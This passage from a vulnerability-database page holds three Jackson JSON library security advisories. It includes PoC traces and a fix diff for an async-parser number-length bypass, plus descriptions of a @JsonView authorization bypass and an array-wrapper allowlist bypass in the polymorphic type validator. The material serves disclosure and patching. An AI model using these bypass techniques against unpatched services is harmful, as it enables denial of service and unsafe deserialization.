\u003c- \u0027{\"v\":1\u0027\n[ctrl] DataBuffer arrived size=200 ms=42\n...\n[ctrl] DataBuffer arrived size=199 ms=5993\n[ctrl] DataBuffer arrived size=1 ms=6518 \u003c- closing \u0027}\u0027\n[ctrl] ERR after 6548ms ... Number value length (50000) exceeds ...\n```\nServer held all 50,000 digit characters in `_textBuffer` for 6.5 seconds with\n`maxNumberLength=1000` declared. The validator never fires during streaming;\nit only fires at value-completion when the closing `}` arrives.\n\nPATCHED \u2014 jackson-core 2.18.8-SNAPSHOT (fix branch):\n```\n[PATCHED-SMALLCHUNK] connection broke after 2801 digits at chunk 14: [Errno 32] Broken pipe\n[PATCHED-SMALLCHUNK] DONE: digits_sent=2801 status=connection-broke-mid-stream\n```\nServer-side controller trace:\n```\n[ctrl] DataBuffer arrived size=6 ms=129\n[ctrl] DataBuffer arrived size=200 ms=142\n[ctrl] DataBuffer arrived size=200 ms=142\n[ctrl] DataBuffer arrived size=200 ms=145\n[ctrl] DataBuffer arrived size=200 ms=146\n[ctrl] DataBuffer arrived size=200 ms=147\n[ctrl] ERR after 155ms ... Number value length (1001) exceeds the maximum allowed (1000, ...)\n```\nPatched server raises `StreamConstraintsException` at 155ms after only 5\nDataBuffers, exactly when the accumulated digit count crosses\n`maxNumberLength=1000`. The connection is reset mid-stream rather than the\nparser silently consuming the rest of the attacker\u0027s payload.\n\nSide-by-side:\n\n| Build | Chunks accepted before exception | Digits buffered | Time to detection |\n|---|---|---|---|\n| jackson-core 2.18.7 | 250 (full payload) | 50,000 (50x the configured limit) | 6,548ms \u2014 only at terminator |\n| 2.18.8-SNAPSHOT (fix branch) | 5 | 1,001 | 155ms \u2014 moment threshold crossed |\n\nNote on the default `@RequestBody Mono\u003cJsonNode\u003e` path: that path cannot\ndistinguish the two builds because Spring\u0027s `decodeToMono` joins all\nDataBuffers into one before parsing. The exploitable shape is the\nstreaming-decode path (`Flux\u003cJsonNode\u003e` / `@RequestBody Flux\u003c...\u003e` /\nWebSocket / SSE / any direct `decoder.decode(Flux\u003cDataBuffer\u003e, ...)` call),\nwhich is also what `Jackson2Tokenizer` uses for any streaming JSON\ndeserialization in WebFlux and Quarkus reactive REST.\n\n## Suggested fix\n\nMirror the pattern already used in `_finishFloatFraction`. At every site that returns `_updateTokenToNA()` (or `JsonToken.NOT_AVAILABLE`) with `_minorState = MINOR_NUMBER_INTEGER_DIGITS`, call `_setIntLength(outPtr + negMod)` first. Concretely, the diff to `NonBlockingUtf8JsonParserBase.java` would be:\n\n```diff\n protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {\n int negMod = _numberNegative ? -1 : 0;\n\n while (true) {\n if (_inputPtr \u003e= _inputEnd) {\n _minorState = MINOR_NUMBER_INTEGER_DIGITS;\n _textBuffer.setCurrentLength(outPtr);\n+ _streamReadConstraints.validateIntegerLength(outPtr + negMod);\n return _updateTokenToNA();\n }\n```\n\nNote: `_setIntLength` itself can\u0027t be used as-is because it also assigns `_intLength`, and `_intLength` must not be set until the integer is truly complete (subsequent fraction handling reads `_intLength`). The minimal fix is to call only the validator, as shown.\n\nApply the same one-line insertion before each `return _updateTokenToNA();` that exits with `_minorState = MINOR_NUMBER_INTEGER_DIGITS`. The sites are listed above (12 lines total).\n\nAlternatively, a heavier refactor: also gate `_textBuffer.expandCurrentSegment()` calls inside the digit-accumulation loops on `outPtr \u003c maxNumberLength` so that the validator fires at the moment the buffer would be enlarged past the limit, rather than waiting for the next chunk boundary. Either approach is sufficient.\n\n## Credit\n\nReported by `tonghuaroot` (`tonghuaroot@gmail.com`). Variant hunt against the Feb 2026 fix for GHSA-72hv-8253-57qq.",
"id": "GHSA-r7wm-3cxj-wff9",
"modified": "2026-08-03T20:30:41Z",
"published": "2026-07-21T21:58:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-r7wm-3cxj-wff9"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/pull/1611"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/commit/050b429804dce2a7e08f0be1b0b4c3d040fdb9cd"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/commit/4cdd529749da396cc7edf6d4a2aad41d47902641"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/commit/c5941e5aae7fd5aeac55d66933cfb82b9aabeef8"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-core"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "jackson-core: Async parser maxNumberLength bypass via chunked digit accumulation (incomplete fix for GHSA-72hv-8253-57qq)"
}
GHSA-RCQC-6CW3-H962
Vulnerability from github – Published: 2026-06-23 21:17 – Updated: 2026-07-20 21:22Summary
UnwrappedPropertyHandler.processUnwrappedCreatorProperties() replays buffered JSON into creator parameters but never consults prop.visibleInView(activeView). The normal property-based creator path gates creator properties on the active view, but this unwrapped-creator replay path bypasses that check, so a constructor parameter annotated with both @JsonView(AdminView.class) and @JsonUnwrapped is populated from attacker JSON even when a more restrictive view is active.
Impact
View-restricted unwrapped creator parameters can be set from untrusted input where @JsonView is used as a write-side authorization boundary.
Affected / Patched (verified via git tag --contains)
- 2.21 line:
>= 2.21.0, < 2.21.4-> fixed in 2.21.4 (backport721fa07, #5973) - 3.x line:
>= 3.0.0, < 3.1.4-> fixed in 3.1.4 (#5971,d633bc0)
Severity / CWE
Maintainer: minor. Reporter: HIGH. CWE-863 (Incorrect Authorization); related CWE-284.
Credits
Omkhar Arasaratnam (@omkhar) - finder.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.21.0"
},
{
"fixed": "2.21.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54518"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-23T21:17:02Z",
"nvd_published_at": "2026-06-23T22:16:32Z",
"severity": "MODERATE"
},
"details": "## Summary\n`UnwrappedPropertyHandler.processUnwrappedCreatorProperties()` replays buffered JSON into creator parameters but never consults `prop.visibleInView(activeView)`. The normal property-based creator path gates creator properties on the active view, but this unwrapped-creator replay path bypasses that check, so a constructor parameter annotated with both `@JsonView(AdminView.class)` and `@JsonUnwrapped` is populated from attacker JSON even when a more restrictive view is active.\n\n## Impact\nView-restricted unwrapped creator parameters can be set from untrusted input where `@JsonView` is used as a write-side authorization boundary.\n\n## Affected / Patched (verified via `git tag --contains`)\n- 2.21 line: `\u003e= 2.21.0, \u003c 2.21.4` -\u003e fixed in **2.21.4** (backport `721fa07`, #5973)\n- 3.x line: `\u003e= 3.0.0, \u003c 3.1.4` -\u003e fixed in **3.1.4** (#5971, `d633bc0`)\n\n## Severity / CWE\nMaintainer: minor. Reporter: HIGH. CWE-863 (Incorrect Authorization); related CWE-284.\n\n## Credits\nOmkhar Arasaratnam (@omkhar) - finder.",
"id": "GHSA-rcqc-6cw3-h962",
"modified": "2026-07-20T21:22:18Z",
"published": "2026-06-23T21:17:02Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-rcqc-6cw3-h962"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54518"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/pull/5971"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/pull/5973"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/721fa07ebbd4aab4a659a1a68940878315c3e341"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/d633bc038f200c1397c07f1a2b46f58e72c91eea"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-databind"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "jackson-databind has a @JsonView bypass for unwrapped creator parameters"
}
GHSA-RMJ7-2VXQ-3G9F
Vulnerability from github – Published: 2026-06-23 21:22 – Updated: 2026-08-14 15:32Summary
BasicPolymorphicTypeValidator.Builder.allowIfSubTypeIsArray() allowlists any array type based only on clazz.isArray(), without validating the array's component (element) type against the configured allowlist. A PTV built with allowIfSubTypeIsArray() plus an explicit concrete-type allowlist therefore still permits EvilType[] even though EvilType is not allowlisted. When Jackson deserializes the elements and no per-element type IDs are present, it instantiates the component type directly with no further PTV check, bypassing the allowlist.
Impact
Applications using BasicPolymorphicTypeValidator with allowIfSubTypeIsArray() as a safeguard get no protection for concrete array component types; an attacker controlling JSON can instantiate non-allowlisted types via an array wrapper, re-opening the gadget-instantiation risk PTV is meant to prevent.
Affected / Patched (verified via git tag --contains)
- 2.18 line:
>= 2.10.0, < 2.18.8-> fixed in 2.18.8 - 2.19-2.21 line:
>= 2.19.0, < 2.21.4-> fixed in 2.21.4 - 3.x line:
>= 3.0.0, < 3.1.4-> fixed in 3.1.4
PolymorphicTypeValidator was added in 2.10.0 so vulnerability N/A for versions prior to that.
Severity / CWE
Maintainer: significant. Reporter: HIGH. CWE-184 (Incomplete List of Disallowed Inputs); related CWE-502.
Upstream fix
FasterXML/jackson-databind#5981; fix PR #5983 (24529da), 2.18 backport PR #5984 (01d1692). Released 2026-06-04 in 2.18.8 / 2.21.4 / 3.1.4.
Credits
Omkhar Arasaratnam (@omkhar) - finder.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.10.0"
},
{
"fixed": "2.18.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.19.0"
},
{
"fixed": "2.21.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54513"
],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-23T21:22:15Z",
"nvd_published_at": "2026-06-23T21:17:02Z",
"severity": "HIGH"
},
"details": "## Summary\n`BasicPolymorphicTypeValidator.Builder.allowIfSubTypeIsArray()` allowlists any array type based only on `clazz.isArray()`, without validating the array\u0027s component (element) type against the configured allowlist. A PTV built with `allowIfSubTypeIsArray()` plus an explicit concrete-type allowlist therefore still permits `EvilType[]` even though `EvilType` is not allowlisted. When Jackson deserializes the elements and no per-element type IDs are present, it instantiates the component type directly with no further PTV check, bypassing the allowlist.\n\n## Impact\nApplications using `BasicPolymorphicTypeValidator` with `allowIfSubTypeIsArray()` as a safeguard get no protection for concrete array component types; an attacker controlling JSON can instantiate non-allowlisted types via an array wrapper, re-opening the gadget-instantiation risk PTV is meant to prevent.\n\n## Affected / Patched (verified via `git tag --contains`)\n- 2.18 line: `\u003e= 2.10.0, \u003c 2.18.8` -\u003e fixed in **2.18.8**\n- 2.19-2.21 line: `\u003e= 2.19.0, \u003c 2.21.4` -\u003e fixed in **2.21.4**\n- 3.x line: `\u003e= 3.0.0, \u003c 3.1.4` -\u003e fixed in **3.1.4**\n\n`PolymorphicTypeValidator` was added in 2.10.0 so vulnerability N/A for versions prior to that.\n\n## Severity / CWE\nMaintainer: significant. Reporter: HIGH. CWE-184 (Incomplete List of Disallowed Inputs); related CWE-502.\n\n## Upstream fix\nFasterXML/jackson-databind#5981; fix PR #5983 (`24529da`), 2.18 backport PR #5984 (`01d1692`). Released 2026-06-04 in 2.18.8 / 2.21.4 / 3.1.4.\n\n## Credits\nOmkhar Arasaratnam (@omkhar) - finder.",
"id": "GHSA-rmj7-2vxq-3g9f",
"modified": "2026-08-14T15:32:43Z",
"published": "2026-06-23T21:22:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-rmj7-2vxq-3g9f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54513"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/issues/5983"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/issues/5981"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/pull/5984"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/24529da29fdf46ff94ca38de9ebf31cd188f5e8e"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/01d1692c8d0ed03e51a0e3c4f8a9e6908e4931e5"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-54513.json"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-databind"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492010"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-54513"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:54622"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:54435"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:50849"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:50848"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:50847"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:50846"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:48151"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:48095"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:44271"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:44066"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:44065"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:44064"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:44063"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:44062"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:44061"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:43400"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:43218"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:41951"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:40895"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:36839"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "jackson-databind has an array subtype allowlist bypass in BasicPolymorphicTypeValidator (allowIfSubTypeIsArray)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.